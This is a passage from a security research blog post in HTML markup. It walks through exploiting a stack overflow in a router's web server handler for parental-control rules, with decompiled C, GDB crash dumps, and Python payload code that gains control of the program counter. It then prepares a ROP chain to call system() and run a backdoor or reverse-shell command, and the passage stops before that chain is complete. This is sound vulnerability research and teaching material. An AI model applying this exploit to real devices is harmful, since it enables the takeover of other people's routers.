&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connectType_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;block_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;day_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urls_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url_enable_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enable_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deviceId_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;undefined4&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;local_20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rule_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Reads the body parameters into separate heap-allocated buffers:
    &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;deviceId_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;deviceId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;enable_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;enable&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;time_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;time&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;url_enable_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;url_enable&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;urls_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;day_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;day&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;block_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;block&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;connectType_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connectType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;limit_type_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;limit_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;deviceName_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;readBodyParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;deviceName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Saves the device’s name and MAC address
    &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deviceName_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'\0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;setDeviceName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deviceName_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deviceId_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Splits the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time&lt;/code&gt; parameter in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_to&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_from&lt;/code&gt;
    &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'\0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;time_from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'\0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;time_to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'\0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

 &lt;span class=&quot;n&quot;&gt;sscanf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%[^-]-%s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 &lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time_to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iVar1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;writeResponseText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;HTTP/1.1 200 OK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Content-type: text/plain; charset=utf-8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Pragma: no-cache&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Cache-Control: no-cache&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;writeResponseText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;errCode&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:%d}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;writeResponseStatusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Allocates some buffers in the heap for parsing and storing the parent control rule&lt;/li&gt;
  &lt;li&gt;Parses the other body fields – mostly just calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;atoi&lt;/code&gt; – and stores the result in a big heap buffer&lt;/li&gt;
  &lt;li&gt;Performs some sanity checks (e.g., rule already exists, max number of rules reached) and saves the rule&lt;/li&gt;
  &lt;li&gt;Sends the HTTP response&lt;/li&gt;
  &lt;li&gt;Returns&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can find the full decompiled function &lt;a href=&quot;https://github.com/doyensec/exploitable-IoT-solution&quot;&gt;in our GitHub repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Unfortunately, this analysis confirmed what we suspected all along. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urls&lt;/code&gt; parameter is always being copied between heap-allocated buffers, therefore this vulnerability is actually a heap overflow. Due the limited time and having a very poor Internet connection, we decided to just change the target and try to exploit a different bug.&lt;/p&gt;

&lt;p&gt;An interesting piece of code that instantly caught our eye was the snippet pasted in step 4 where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time&lt;/code&gt; parameter is split into two values. This parameter is supposed to be a time &lt;strong&gt;range&lt;/strong&gt;, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;19.00-21.00&lt;/code&gt;, but the function needs the raw start and end times, therefore it needs to split it on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt; character. To do so, the program calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sscanf&lt;/code&gt; with the format string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;%[^-]-%s&quot;&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%[^-]&lt;/code&gt; part will match from the start of the string up to a hyphen (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;), while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%s&lt;/code&gt; will stop as soon as a whitespace character is found (both will stop at a null byte).&lt;/p&gt;

&lt;p&gt;The interesting part is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_from&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_to&lt;/code&gt; are both allocated &lt;strong&gt;on the stack&lt;/strong&gt; with a size of 32 bytes each, as you can see from step 1 above. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_from&lt;/code&gt; seemed the perfect target to overflow, since it does not have the whitespace characters limitation; the only “prohibited” bytes in a payload would be null (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x00&lt;/code&gt;) and the hyphen (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x2D&lt;/code&gt;).&lt;/p&gt;

&lt;h2 id=&quot;the-exploit&quot;&gt;The Exploit&lt;/h2&gt;
&lt;p&gt;The strategy for the exploit was to implement a simple ROP chain to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; and execute a shell command. For the uninitiated, ROP stands for Return-Oriented Programming and consists of writing a bunch of return pointers and data in the stack to make the program jump somewhere in memory and run small snippets of instructions (called gadgets) borrowed from other functions, before reaching a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; instruction and again jumping somewhere else, repeating the pattern until the chain is complete.&lt;/p&gt;

&lt;p&gt;To start, we simply sent a bunch of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt;s in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time&lt;/code&gt; parameter followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-1&lt;/code&gt; (to populate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_to&lt;/code&gt;) and observed the crash in GDB:&lt;/p&gt;
&lt;pre&gt;
Program received signal SIGSEGV, Segmentation fault.
0x4024050c in &lt;mark&gt;strcpy ()&lt;/mark&gt; from target:/emux/AC15/squashfs-root/lib/libc.so.0
────────────────────────────────────────────────────────────────────────────────
$r0  : 0x001251ba  →  0x00000000
$r1  : &lt;mark&gt;0x41414141&lt;/mark&gt; (&quot;AAAA&quot;?)
$r2  : 0x001251ba  →  0x00000000
$r3  : 0x001251ba  →  0x0000000
[...]
&lt;/pre&gt;

&lt;p&gt;We indeed got a SEGFAULT, but in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt;? Indeed, if we again check the variables allocated in step 1, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_from&lt;/code&gt; comes before all the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;char*&lt;/code&gt; variables pointing to where the other parameters are stored. When we overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_from&lt;/code&gt;, these pointers will lead to an invalid memory address; therefore, when the program tries to parse them in &lt;strong&gt;step 6&lt;/strong&gt;, we get a segmentation fault before we reach our sweet return instruction.&lt;/p&gt;

&lt;p&gt;The solution for this issue was pretty straightforward: instead of spamming &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt;s, we can fill the gap with a valid pointer to a string, any string. Unfortunately, we can’t supply addresses to the main binary’s memory, since its base address is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8000&lt;/code&gt; and, when converted to a 32bit pointer, it will always have a null byte at the beginning, which will stop &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sscanf&lt;/code&gt; from parsing the remaining payload. Let’s abuse the fact that ASLR is disabled and supply a string directly from the stack instead; the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_to&lt;/code&gt; seemed the perfect choice:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;it comes before &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_from&lt;/code&gt;, so it won’t get overwritten during the overflow&lt;/li&gt;
  &lt;li&gt;we can set it to a single digit, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;, and it will be valid when parsed as a string, integer, or boolean&lt;/li&gt;
  &lt;li&gt;being only a single byte we are sure we are not overflowing any other buffer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using GDB, we could see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;time_to&lt;/code&gt; was consistently allocated at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xbefff510&lt;/code&gt;. After some trial and error, we found a good amount of padding that would let us reach the return without causing any crashes in the middle of the function:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;timeto_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xbefff510&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;880&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeto_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;BBBB&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And, checking out the crash in GDB, we could see that we successfully controlled the program counter!&lt;/p&gt;
&lt;pre&gt;
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
────────────────────────────────────────────────────────────────────────────────
$r0  : 0x108
$r1  : 0x0011fdd8  →  0x00120ee8  →  0x0011dc40  →  0x00000000
$r2  : 0x0011fdd8  →  0x00120ee8  →  0x0011dc40  →  0x00000000
$r3  : 0x77777777 (&quot;wwww&quot;?)
$r4  : 0xbefff510  →  0x00000000
$r5  : 0x00123230  →  &quot;/goform/saveParentControlInfo&quot;
$r6  : 0x1
$r7  : 0xbefffdd1  →  &quot;httpd&quot;
$r8  : 0x0000ec50  →  0xe1a0c00d
$r9  : 0x0002e450  →   push {r4,  r11,  lr}
$r10 : 0xbefffc28  →  0x00000000
$r11 : 0xbefff510  →  0x00000000
$r12 : 0x400dcedc  →  0x400d2a50  →  &amp;lt;__pthread_unlock+0&amp;gt; mov r3,  r0
$sp  : 0xbefff8d8  →  0x00000000
$lr  : 0x00010944  →   str r0,  [r11,  #-20]	; 0xffffffec
&lt;mark&gt;$pc  : 0x42424242 (&quot;BBBB&quot;?)&lt;/mark&gt;
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
&lt;/pre&gt;

&lt;p&gt;The easiest way to execute a shell command now was to find a gadget chain that would let us invoke the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; function. The calling convention in the ARM architecture is to pass function arguments via registers. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; function, specifically, accepts the string containing the command to execute as a pointer passed in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r0&lt;/code&gt; register.&lt;/p&gt;

&lt;p&gt;Let’s not forget that we also needed to write the command string somewhere in memory. If this was a local binary and not an HTTP server, we could have loaded the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt; string, that is commonly found somewhere in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt;, but in this case, we need to specify a custom command in order to set up a backdoor or a reverse shell. The command string itself &lt;strong&gt;must&lt;/strong&gt; terminate with a null byte, therefore we could not just put it in the middle of the padding before the payload. What we &lt;em&gt;could&lt;/em&gt; do instead, was to put the string &lt;strong&gt;after&lt;/strong&gt; the payload. With no ASLR, the string’s address will be fixed regardless, and the string’s null byte will just be the null byte at the end of the whole payload.&lt;/p&gt;

